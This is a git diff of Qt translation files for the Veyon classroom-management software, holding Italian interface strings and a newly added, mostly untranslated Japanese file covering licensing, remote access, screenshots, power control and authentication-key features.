selezionato. + + + The selected license file is not valid for this installation. + Il file di licenza selezionato non è valido per questa installazione. + + + The selected license file is expired. + Il file di licenza selezionato è scaduto. + + + The license is already installed. + La licenza è già installata. + + + + LicensingPlugin + + Show help for specific command + Mostra l'aiuto per un comando specifico + + + Show all installed licenses + Mostra tutte le licenze installate + + + Add license file + Aggiungi il file di licenza + + + Remove installed license + Rimuovere la licenza installata + + + +USAGE + +%1 add <LICENSE FILE> + + + +USO + + %1 aggiungi <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +USO + +%1 rimuovi <LICENSE ID> + + + + + No certificate found with given ID + Nessun certificato trovato con un dato ID + + + <N/A> + <N/A> + + + Licensing management + Gestione delle licenze + + + Commands for managing license keys + Comandi per la gestione delle chiavi di licenza + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Plugin che implementa funzioni astratte per la piattaforma Linux. + + + + MainToolBar + + Configuration + Configurazione + + + Disable balloon tooltips + Disabilita tooltip dei palloncini + + + Show icons only + Mostra solamente le icone + + + + MainWindow + + MainWindow + FinestraPrincipale + + + toolBar + BarraStrumenti + + + General + Generale + + + &File + &File + + + &Help + &Aiuto + + + &Quit + &Esci + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + C&arica impostazioni dal file + + + Ctrl+O + Ctrl+O + + + About Qt + Informazioni su Qt + + + Authentication impossible + Autenticazione impossibile + + + Configuration not writable + Il file di configurazione non è scrivibile + + + Load settings from file + Carica impostazioni da file + + + Save settings to file + Salva impostazioni su file + + + Unsaved settings + Impostazioni non salvate + + + There are unsaved settings. Quit anyway? + Alcune impostazioni non sono state salvate. Esco comunque? + + + Veyon Configurator + Configurazione Veyon + + + Service + Servizio + + + Master + Principale + + + Access control + Controllo accessi + + + About Veyon + Su Veyon + + + Auto + Automatico + + + Computer rooms + Stanze computer + + + About + Informazioni su + + + %1 Configurator %2 + %1 Configuratore %2 + + + JSON files (*.json) + File JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + La configurazione locale backend ha riportato che la configurazione non e' salvabile! Si prega di eseguire il configuratore %1 con privilegi maggiori. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Nessun file di chiave di autenticazione e' stato trovato o i correnti sono antiquati. Si prega di creare un nuovi file di chiave usandi il Configuratore %1. In alternativa, imposta l'autenticazione di accesso usando il Configuratore %1. Altrimenti non sarai in grado ad accedere ai computer usando %1. + + + Access denied + Accesso negato + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Secondo la configurazione locale non ti e' permesso accedere ai computer nella rete. Si prega di effettuare il login con un account diverso o lasciar controllare al tuo amministatore di sistema la configurazione locale. + + + Screenshots + Catture dello schermo + + + Feature active + Funzione attiva + + + The feature "%1" is still active. Please stop it before closing %2. + La funzionalità "%1" e' ancora attiva. Arrestala prima di chiudere %2. + + + Reset configuration + Reimposta configurazione + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Vuoi veramente reimpostare la configurazione locale e riportare tutte le impostazioni valori originali? + + + Search users and computers + Cerca utenti e computer + + + Adjust optimal size + Sistema dimensione ottimale + + + Align computers to grid + Allinea i computer alla griglia + + + Use custom computer placement + Usa il posizionamento del computer personalizzato + + + %1 Configurator + Opzioni di %1 + + + Insufficient privileges + Privilegi insufficienti + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Impossibile iniziare con i privilegi di amministratore. Assicurati che sia installato un programma simile a sudo per il tuo ambiente desktop! Il programma verrà eseguito con i normali privilegi dell'utente + + + Only show powered on computers + Mostra solo i computer alimentati + + + &Save settings to file + & Salva le impostazioni nel file + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Cartelle + + + ... + ... + + + User configuration + Configurazione utente + + + Feature on computer double click: + Funzionalita' sul doppio clic del computer: + + + Automatically switch to current room at start + All'avvio, passa automaticamente alla stanza attuale + + + Features + Funzionalita' + + + All features + Tutte le funzionalita' + + + Disabled features + Funzionalita' disabilitate + + + Perform access control at program start + Esegui controllo degli accessi all'avvio del programma + + + Screenshots + Catture dello schermo + + + <no feature> + <nessuna funzionalita'> + + + Automatically adjust computer thumbnail size at start + Adatta automaticamente la miniatura del computer all'avvio + + + Basic settings + Impostazioni di base + + + Behaviour + Comportamento + + + Enforce selected mode for client computers + Applicare la modalita' selezionata per i client computer + + + Only show current room + Mostra solamente la stanza attuale + + + Allow adding rooms manually + Consenti l''aggiunta di stanze manualmente + + + Hide local computer + Nascondi il computer locale + + + Hide empty rooms + Nascondi le stanze vuote + + + Hide computer filter field + Nascondi il campo filtri computer + + + Actions such as rebooting or powering down computers + Azioni come il riavvio o lo spegnimetno dei computer + + + Show confirmation dialog for potential dangerous actions + Mostra avviso di conferma per azioni potenzialmente dannose + + + User interface + Interfaccia Utente + + + Background color + Colore di sfondo + + + Thumbnail update interval + Intervallo di aggiornamento delle miniature + + + ms + ms + + + Program start + Avvio del programma + + + Modes and features + Modalità e caratteristiche + + + User and computer name + Nome dell'utente e del computer + + + Only user name + Solo il nome utente + + + Only computer name + Solo il nome del computer + + + Computer thumbnail caption + Miniatura anteprima computer + + + Computer rooms + Stanze computer + + + Automatically open computer rooms widget + Apri automaticamente il widget delle stanze dei computer + + + Text color + Colore del testo + + + Sort order + Ordinamento + + + Computer and user name + Computer e nome utente + + + + MonitoringMode + + Monitoring + Monitoraggio + + + Builtin monitoring mode + Modalita' di monitoraggio integrata + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Questa e' la modalita' di default e ti consente di monitorare tutti i computer in una o piu' stanze + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Individuazione della rete + + + Mode + Modalità + + + Scan network ranges + Scansione intervalli di rete + + + e.g. 192.168.1.0/24 + per esempio: 192.168.1.0/24 + + + Scan all subnets of computer + Analizza tutte le subnet del computer + + + Scan custom subnet + Scansione subnet personalizzata + + + Scan sessions on local computer + Scansione delle sessioni sul computer locale + + + Test + Prova + + + Network ranges + Gamme di rete + + + Add new group + Aggiungi nuovo gruppo + + + Remove selected group + Rimuovi il gruppo selezionato + + + Groups + Gruppi + + + First address + Primo indirizzo + + + Last address + Ultimo indirizzo + + + Add new network range + Aggiungi un nuovo intervallo di rete + + + Remove selected network range + Rimuovi l'intervallo di rete selezionato + + + Parallel scans + Scansioni parallele + + + Scan timeout + Scansione terminata + + + ms + ms + + + Session scan limit + Limite di scansione di sessione + + + New group + Nuovo gruppo + + + Options + Opzioni + + + Reverse lookup discovered IP addresses to host names + La ricerca inversa ha scoperto gli indirizzi IP nei nomi host + + + + NetworkDiscoveryDirectory + + Scanning... + Scansione... + + + Discovered computers + Computers trovati + + + + NetworkDiscoveryPlugin + + Show help for specific command + Mostra l'aiuto per un comando specifico + + + Scan a subnet + Scansione di una sotto rete + + + +USAGE + +%1 scan [<SUBNET>] + + + +USO + + % 1 scansione[<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Directory dell'oggetto di rete che rileva automaticamente i computer nella rete + + + Network discovery (scan network for Veyon clients) + Ricerca della rete (rete di scansione per i client Veyon) + + + Commands for managing the network discovery directory + Comandi per la gestione della directory di ricerca della rete + + + + NetworkObjectTreeModel + + Room/Computer + Stanza/Computer + + + + PasswordDialog + + Username + Nome Utente + + + Password + Password + + + Veyon Logon + Logon Veyon + + + Authentication error + Errore di autenticazione + + + Logon failed with given username and password. Please try again! + Logon fallito con le credenziali fornite. Riprova! + + + Please enter your username and password in order to access computers. + Inserisci il tuo username e password per accedere ai computer + + + + PowerControlFeaturePlugin + + Power on + Accendi + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Premi questo bottone per accendere tutti i computer. In questo modo non devi accendere ogni computer a mano. + + + Reboot + Riavvia il PC + + + Click this button to reboot all computers. + Clicca questo bottone per riavviare tutti i computer. + + + Power down + Spegni + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Clicca questo bottone per spegnere tutti i computer. In questo modo non devi spegnere ogni computer a mano. + + + Power on/down or reboot a computer + Accendi/spegni o riavvia un computer + + + Confirm reboot + Conferma riavvio + + + Confirm power down + Conferma spegnimento + + + Do you really want to reboot the selected computers? + Vuoi veramente riavviare i computer selezionati? + + + Do you really want to power down the selected computer? + Vuoi veramente spegnere il computer selezionato? + + + Power on a computer via Wake-on-LAN (WOL) + Accendi un computer tramite Wake-on-LAN (WOL) + + + MAC ADDRESS + MAC ADDRESS + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Questo comando trasmette un pacchetto Wake-on-LAN (WOL) alla rete per accendere il computer con l'indirizzo MAC specificato. + + + Please specify the command to display help for! + Si prega di specificare il comando per visualizzare la guida per! + + + Invalid MAC address specified! + Indirizzo MAC specificato non valido! + + + Commands for controlling power status of computers + Comandi per il controllo dello stato di alimentazione dei computers + + + + RemoteAccessFeaturePlugin + + Remote view + Vista remota + + + Open a remote view for a computer without interaction. + Apri una vista remota per un computer senza interazione + + + Remote control + Controllo remoto + + + Open a remote control window for a computer. + Apri una finestra di controllo remoto per un computer + + + Remote access + Accesso remoto + + + Remote view or control a computer + Vista o controllo remoto di un computer + + + Please enter the hostname or IP address of the computer to access: + Inserisci l'hostname o l'indirizzo IP del computer al quale vuoi accedere: + + + Show help about command + Mostra aiuto per i comandi + + + + RemoteAccessWidget + + %1 - %2 Remote Access + % 1 -% 2 Accesso remoto + + + + RemoteAccessWidgetToolBar + + View only + Osserva solo + + + Remote control + Controlla + + + Send shortcut + Invia scorciatoia + + + Fullscreen + Schermo intero + + + Window + Finestra + + + Quit + Esci + + + Ctrl+Alt+Del + Ctrl+Alt+Canc + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Connessione con %1 + + + Connected. + Connesso. + + + Screenshot + Screenshot + + + + RoomSelectionDialog + + Room selection + Selezione stanza + + + enter search filter... + inserisci filtro di ricerca... + + + + Routing + + Control internet access by modifying routing table + Controlla l'accesso a Internet modificando la tabella di routing + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Rimuovi percorsi predefiniti per bloccare l'accesso a Internet + + + Add custom route to block internet + Aggiungi un percorso personalizzato per bloccare Internet + + + Destination + Destinazione + + + Gateway + Gateway + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Inserisci i programmi o i comandi da eseguire nei computer selezionati. Puoi separare programmi/comandi multipli andando a capo. + + + Run programs + Esegui programmi + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + es. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Blocca + + + Unlock + Sbloccca + + + Lock screen and input devices of a computer + Blocca schermo e dispositivi di input di un computer + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Per richiamare la completa attenzione di tutti gli utenti, puoi bloccare i loro computer utilizzando questo pulsante. In questo modo tutti i dispositivi di input saranno bloccati e gli schermi saranno colorati di nero. + + + + Screenshot + + unknown + sconosciuto + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Non e' stato possibile effettuare una screenshot in quanto la directory %1 non esiste e non e' stato possibile crearla. + + + Screenshot + Screenshot + + + + ScreenshotFeaturePlugin + + Screenshot + Screenshot + + + Use this function to take a screenshot of selected computers. + Usa questa funzione per fare una screenshot dei computer selezionati. + + + Screenshots taken + Screenshot eseguiti + + + Screenshot of %1 computer have been taken successfully. + Screenshot di %1 computer sono stati effettuati con successo. + + + Take screenshots of computers and save them locally. + Effettua screenshot dei computer e salvali in locale. + + + + ScreenshotManagementView + + User: + Utente: + + + Date: + Data: + + + Time: + Ora: + + + Show + Mostra + + + Delete + Elimina + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Tutte le screenshot da te effettuate sono elencate qui. Puoi effettuare screenshot cliccando l'elemento "Screenshot" nel menu di un computer. Le screenshot possono essere gestite utilizzando i pulsanti qui sotto. + + + Computer: + Computer + + + + ServiceConfigurationPage + + General + Generale + + + Autostart + Avvio automatico + + + Hide tray icon + Nascondi l'icona tray + + + Start service + Avvia il servizio + + + Stopped + Fermato + + + Stop service + ferma il servizio + + + State: + Stato: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Abilita generazione SAS via software (Ctrl+Alt+Del) + + + Network + Rete + + + Demo server port + Porta per la modalità Presentazione + + + Enable firewall exception + Abilita le eccezioni del firewall + + + Allow connections from localhost only + Consenti connessioni solo da questo computer 'localhost' + + + Internal VNC server port + Porta interna server VNC + + + VNC server + Server VNC + + + Plugin: + Plugin: + + + Restart %1 Service + Riavvia Servizio %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Tutte le impostazioni sono state salvate. Per farle funzionare, il servizio %1 deve essere riavviato. Riavviarlo ora? + + + Running + In esecuzione + + + Feature manager port + Porta manager funzionalita' + + + Primary service port + Porta servizio primario + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Abilitando questa opzione, il servizio avvierà un processo server per ogni sessione interattiva su un computer. In genere ciò è necessario per supportare i server terminal. + + + Multi session support (experimental) + Supporto multi sessione (sperimentale) + + + Show notification on remote connection + Mostra notifica sulla connessione remota + + + Show notification on failed authentication attempts + Mostra notifica sui tentativi di autenticazione falliti + + + + ServiceControl + + Starting service %1 + Avvio del servizio% 1 + + + Stopping service %1 + Arresto del servizio% 1 + + + Registering service %1 + Registrazione del servizio% 1 + + + Unregistering service %1 + Servizio di annullamento della registrazione% 1 + + + Service control + Controllo del servizio + + + + ServiceControlPlugin + + Service is running + Servizio in esecuzione + + + Service is not running + Servizio non in esecuzione + + + Configure and control Veyon service + Configura e controlla il servizio Veyon + + + Register Veyon Service + Registra Servizio Veyon + + + Unregister Veyon Service + Annullamento della registrazione del Servizio Veyon + + + Start Veyon Service + Avvia Servizio Veyon + + + Stop Veyon Service + Arresta Servizio Veyon + + + Restart Veyon Service + Riavvia Servizio Veyon + + + Query status of Veyon Service + Stato del query del Servizio Veyon + + + Commands for configuring and controlling Veyon Service + Comandi per configurare e controllare il Servizio Veyon + + + + ShellCommandLinePlugin + + Run command file + Esegui il file di comando + + + File "%1" does not exist! + Il file "% 1" non esiste! + + + Interactive shell and script execution for Veyon Control + Esecuzione interattiva di shell e script per controllo Veyon + + + Commands for shell functionalities + Comandi per le funzionalità della shell + + + + SystemTrayIcon + + System tray icon + Icona barra di sistema + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Backend gruppi di utenti per gruppi di utenti di sistema + + + Default (system user groups) + Predefinito (gruppi utenti di sistema) + + + + TextMessageDialog + + Send text message + Invia un messaggio di testo + + + Use the field below to type your message which will be sent to all selected users. + Utilizza il campo qui sotto per scrivere il messaggio che vuoi inviare agli utenti selezionati. + + + + TextMessageFeaturePlugin + + Text message + Invia messaggio + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Utilizza questa funzione per inviare un messaggio di testo a tutti gli utenti. Ad esempio per assegnargli nuovi compiti. + + + Message from teacher + Messaggio dall'insegnante + + + Send a message to a user + Invia un messaggio ad un utente + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Abilita cattura di finestre in livelli (semi-trasparente) + + + Poll full screen (leave this enabled per default) + Schermo pieno (lasciarlo abilitato per default) + + + Low accuracy (turbo mode) + Bassa qualità (modalità turbo) + + + Builtin UltraVNC server configuration + Configurazione del server UltraVNC integrato + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Nessun accesso in scrittura + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Impossibile salvare le tue impostazioni personali. Controlla il percorso file di configurazione utente utilizzando il Configuratore %1 + + + + UserSessionControl + + User session control + Controllo sessione utente + + + Click this button to logout users from all computers. + Clicca questo pulsante per far fare logout a tutti gli utenti da tutti i computer + + + Confirm user logout + Conferma logout utente + + + Do you really want to logout the selected users? + Vuoi veramente far fare logout agli utenti selezionati? + + + Logout + Disconnetti + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [FALLITO] + + + Invalid command! + Comando non valido! + + + Available commands: + Comandi disponibili: + + + Invalid arguments given + Argomenti dati non validi + + + Not enough arguments given - use "%1 help" for more information + Non sono stati dati abbastanza argomenti - usa "%1 help" per maggiori informazioni + + + Unknown result! + Risultato sconosciuto! + + + Available modules: + Moduli disponibili: + + + No module specified or module not found - available modules are: + Nessun modulo specificato o modulo non trovato - i moduli disponibili sono: + + + Plugin not licensed + Plugin non concesso in licenza + + + INFO + INFO + + + ERROR + ERRORE + + + licensed for + concesso in licenza per + + + + VeyonServiceControl + + Veyon Service + Servizio Veyon + + + + VncView + + Establishing connection to %1 ... + Connessione a %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Plugin che implementa funzioni astratte per la piattaforma Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + Controllo servizi di Windows: il servizio "% 1" è già installato. + + + WindowsServiceControl: the service "%1" could not be installed. + Controllo servizi di Windows: il servizio "% 1" non può essere installato. + + + WindowsServiceControl: the service "%1" has been installed successfully. + Controllo servizi di Windows: il servizio1 "è stato installato correttamente. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + Controllo servizi di Windows: il servizio "% 1" non può essere disinstallato. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + Controllo servizi di Windows: il servizio 1 "è stato disinstallato correttamente. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + Controllo servizi di Windows: non è stato possibile modificare il tipo di avvio del servizio "% 1". + + + WindowsServiceControl: service "%1" could not be found. + Controllo servizi di Windows: il servizio "% 1" non è stato trovato. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Configurazione del server x11vnc integrata + + + Custom x11vnc parameters: + Parametri per x11vnc personalizzati: + + + Do not use X Damage extension + Non usare l'estensione X Damage + + + \ No newline at end of file diff --git a/translations/ja_JP.ts b/translations/ja_JP.ts new file mode 100644 index 0000000..dfbb989 --- /dev/null +++ b/translations/ja_JP.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + 詳細 + + + Translation + 翻訳 + + + License + ライセンス + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + すべてのグループ + + + ... + ... + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + 一般 + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + 名前 + + + Type + タイプ + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + 名前 + + + Host address/IP + + + + MAC address + MACアドレス + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + タイプ + + + Name + 名前 + + + Host address + + + + MAC address + MACアドレス + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + 認証エラー + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + フルスクリーンデモ + + + Stop demo + + + + Window demo + ウィンドウデモ + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + デスクトップアクセスの確認 + + + Never for this 